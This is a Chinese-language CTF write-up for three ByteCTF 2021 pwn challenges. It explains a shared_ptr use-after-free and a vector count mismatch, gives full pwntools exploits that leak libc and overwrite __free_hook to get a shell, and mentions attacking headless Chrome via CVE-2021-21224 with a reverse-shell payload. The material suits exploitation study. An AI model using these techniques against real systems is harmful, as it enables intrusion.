[ByteCTF 2021 Quals] Pwn方向几个题解
bytezoom
C++
下的堆利用,对于有C++
基础的人来说应该很快看出要点在于错误的使用了shared_ptr
的裸指针,形成悬挂指针,进而UAF
EXP:
from pwn import *
import time
#p = process("./bytezoom", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("39.105.37.172", 30012)
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
def create(_type, idx:int, name, age:bytes):
p.sendlineafter(b"choice:\n", b"1")
p.sendlineafter(b"cat or dog?\n", _type)
p.sendlineafter(b"input index:\n", str(idx).encode())
p.sendlineafter(b"name:\n", name)
p.sendlineafter(b"age:\n", age)
def show_message(_type, idx):
p.sendlineafter(b"choice:\n", b"2")
p.sendlineafter(b"cat or dog?\n", _type)
p.sendlineafter(b"input index:\n", str(idx).encode())
def into_manager():
p.sendlineafter(b"choice:\n", b"3")
def quit_manager():
p.sendlineafter(b"choice:\n", b"4")
def manage_select(_type, idx):
p.sendlineafter(b"choice:\n", b"1")
p.sendlineafter(b"select cat or dog?\n", _type)
p.sendlineafter(b"input " + _type + b"'s index:\n", str(idx).encode())
def change_age(_type, add_years):
p.sendlineafter(b"choice:\n", b"2")
p.sendlineafter(b"select cat or dog?\n", _type)
p.sendlineafter(b"you want to add\n", add_years)
def change_name(_type, new_name):
p.sendlineafter(b"choice:\n", b"3")
p.sendlineafter(b"select cat or dog?\n", _type)
p.sendlineafter(b"please input new name:\n", new_name)
# base: 0x0000555555554000
# base: 0x0000555555554000+0x12340 cat list
# base: 0x0000555555554000+0x12380 dog list
# selected: 0x0000555555554000+0x122E0
def exp():
# leak libc
create(b"dog", 0, b"a"*8, b"1")
into_manager()
manage_select(b"dog", 0)
quit_manager()
create(b"dog", 0, b"b"*8, b"1") # free prev
create(b"cat", 0, b"c"*8, b"1") # selected
create(b"cat", 1, b"x"*0x400, b"1")
into_manager()
#gdb.attach(p)
#pause()
change_age(b"dog", b"889")
change_age(b"dog", b"1279")
quit_manager()
show_message(b"cat", 0)
p.recvuntil(b"name:")
libc_leak = u64(p.recv(8))
libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
system = libc_base + libc.symbols[b"system"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("free_hook:", hex(free_hook))
# attack free_hook
## create 0x20 bin
create(b"cat", 2, b"d"*0x50, b"1")
create(b"cat", 3, b"d"*0x50, b"1")
create(b"cat", 2, b"d"*0x30, b"1")
create(b"cat", 3, b"d"*0x30, b"1")
into_manager()
change_age(b"dog", b"160")
manage_select(b"cat", 0)
change_name(b"cat", p64(free_hook))
quit_manager()
## get chunk at free_hook
create(b"cat", 4, b"/bin/sh\x00"*(0x50//8), b"1")
create(b"cat", 5, p64(system)*(0x50//8), b"1")
print("free_hook:", hex(free_hook))
## get shell
create(b"cat", 4, b"t"*0x100, b"1")
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
chatroom
混了个一血
headless chrome,用CVE-2021-21224打,最好用msf自身的反弹shell payload, shell_reverse_tcp
这个payload究极不稳定,连上就断
ByteCSMS
思路:
- 同样是涉及C++数据结构的pwn,问题出在Vector内部和外部用户自定义的计数方式可能出现不匹配的情况:Vector内部通过指针差值右移4位(除0x10,即元素大小)来计算元素个数;而外部则通过一个全局变量(total)保存元素个数;当用户使用name作为索引删除元素时会一次性删除所有name相同的元素,而外部变量只递减了1,这样可以构造total远大于
(ptr2-ptr1)>>4
- 构造方式:add很多次name为
/bin/sh
的元素,致使Vector过大而存放在mmap出来的内存段,从而与libc
有固定偏移;通过upload保存此时的Vector;通过name索引的方式remove掉name为/bin/sh
的元素,再通过download把这样元素添加回来,以此往复可以将total的值增加非常大;由于通过index索引方式edit元素时,检查范围的最大边界是由total标定的,这就使得用户可以越界读写; - 估计好越界位置读出libc某个rw段上的指针,计算出libc基址(这一步只是泄露所以要注意好恢复原本的值);然后同样估计好
__free_hook
的位置用edit写上system地址;最后一步upload剩余的元素,使得存放upload元素的Vector发生realloc,free掉原来的堆块,将堆块头部的/bin/sh
作为参数执行system("/bin/sh")
EXP:
from pwn import *
#p = remote("39.105.63.142", 30011)
p = remote("39.105.37.172", 30011)
libc = ELF("./libc-2.31.so.6")
context.log_level = "debug"
def add(name, score:int):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Enter the ctfer's name:\n", name)
p.sendlineafter(b"Enter the ctfer's scores\n", str(score).encode())
p.sendlineafter(b"enter the other to return\n", b"123")
def edit(n_or_i, new_name, new_score, way:str):
p.sendlineafter(b"> ", b"3")
p.recvuntil(b"2.Edit by index\n")
if way == "name":
p.sendline(b"1")
p.sendline(n_or_i)
elif way == "index":
p.sendline(b"2")
p.sendline(str(n_or_i).encode())
else:
return
p.sendlineafter(b"Enter the new name:\n", new_name)
p.sendlineafter(b"Enter the new score:\n", str(new_score).encode())
def remove(n_or_i, way:str):
p.sendlineafter(b"> ", b"2")
p.recvuntil(b"2.Remove by index\n")
if way == "name":
p.sendline(b"1")
p.sendlineafter(b"to be deleted\n", n_or_i)
elif way == "index":
p.sendline(b"2")
p.sendlineafter(b"Index?\n", str(n_or_i).encode())
else:
return
def upload():
p.sendlineafter(b"> ", b"4")
def download():
p.sendlineafter(b"> ", b"5")
# manager: 0x00007fffffffdbd0
# total: 0x0000555555607280
# base: 0x0000555555400000
def exp():
p.sendlineafter(b"Password for admin:\n", b"\x00")
while True:
if p.recv(9) == b"Incorrect":
p.sendlineafter(b"Password for admin:\n", b"\x00")
else:
break
# leak addr
add(b"/bin/sh", 100)
add(b"/bin/sh", 100)
for i in range(0x1000-2):
add(b"/bin/sh", 100)
upload()
edit(0, b"aaaa", 100, "index")
edit(1, b"aaaa", 100, "index")
add(b"/bin/sh", 100)
add(b"/bin/sh", 100)
for i in range(90):
remove(b"/bin/sh", "name")
download()
## 358659 220931
## get addr
p.sendlineafter(b"> ", b"3")
p.recvuntil(b"2.Edit by index\n")
p.sendline(b"2")
#gdb.attach(p)
#pause()
p.sendlineafter(b"Index?\n", b"220931")
#p.recv(0x30-2)
p.recvuntil(b"220931\x09")
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
#libc_base = libc_leak - 0x18b110
libc_base = libc_leak - 0x18b2a0
system = libc_base + libc.symbols[b"system"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("free_hook:", hex(free_hook))
#fix_addr = libc_base + 0x18ea70
fix_addr = libc_base + 0x18ec00
#gdb.attach(p)
#pause()
p.sendlineafter(b"Enter the new name:\n", p64(libc_leak)+p64(fix_addr)[0:4])
p.sendlineafter(b"Enter the new score:\n", str(u32(p64(fix_addr)[4:])).encode())
#gdb.attach(p)
#pause()
# rewrite _free_hook
## 359601 221873
#gdb.attach(p, "b *0x0000555555400000+0x1b9b\nc\n")
edit(221873, p64(0)+p64(system)[0:4], u32(p64(system)[4:]), "index")
print("free_hook:", hex(free_hook))
#gdb.attach(p)
#pause()
## get shell
edit(0, b"/bin/sh", 100, "index")
#gdb.attach(p, "b *0x0000555555400000+0x12dc\nc\n")
remove(b"/bin/sh", "name")
upload()
print("free_hook:", hex(free_hook))
p.sendline(b"cat flag;cat flag;cat flag;")
p.interactive()
if __name__ == "__main__":
exp()